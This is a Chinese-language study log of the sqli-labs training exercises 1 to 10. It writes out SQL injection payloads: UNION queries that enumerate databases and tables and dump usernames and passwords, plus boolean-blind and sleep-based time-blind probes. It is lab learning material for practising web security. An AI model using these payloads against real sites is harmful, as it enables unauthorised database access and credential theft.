Sql-labs Less-1~10学习记录
1.1判断是否存在注入
输入?id=1 页面此时
通过输入不同的数字型id会回显不同的内容
然后通过输入?id=1'来测试字符型是否存在sql注入
可以看到存在字符型的sql注入,且'可以闭合
2.联合注入
通过测试来知道表格的最大列数,超出最大列数报错
第四列报错,最大为3列
所以联合查询前三列
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据
由此可以爆出数据库名
?id=-1' union select 1,database(),3 -- -
爆数据库
?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata -- -
爆security数据库的数据表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- -
这里推断账户和密码在users表中,通过users表爆出username和password
?id=-1' union select 1,2,group_concat(username , password) from users --
爆数据
?id=-1'union select 1,username,password from users where id=2-- -
sqli-labs Less -2
注入类型为数字型 流程与Less-1一致
sqli-labs Less -3
输入?id=1'
由此判断sql语句是单引号字符且有括号,所以再使用?id=1′) --+进行注入
后续步骤与之前类似...
sqli-labs Less -4
可以知道sql语句是单引号字符型且有括号
后续步骤也与之前类似...
sqli-labs Less -5
输入页面不回显,只能判断是否存在注入,注入类型是字符型,是布尔盲注。
布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。
利用工具跑
sqli-labs Less -6
同为布尔盲注,跟第五关的区别是双引号闭合
sqli-labs Less -7
输入?id=1’报错,使用?id=1'--+闭合依然报错,尝试?id=1')--+同样报错,?id=1')) --+可以闭,所以依旧是布尔盲注
sqli-labs Less 8
这关是不报错的布尔盲注
sqli-labs Less-9
这关是单引号时间盲注,执行sleep(5),页面会延迟5秒
执行语句:?id=1’ and if(1=0,1, sleep(5)) --+
sqli-labs Less -10
这关是双引号时间盲注
执行语句:?id=1" and if(1=0,1, sleep(5)) --+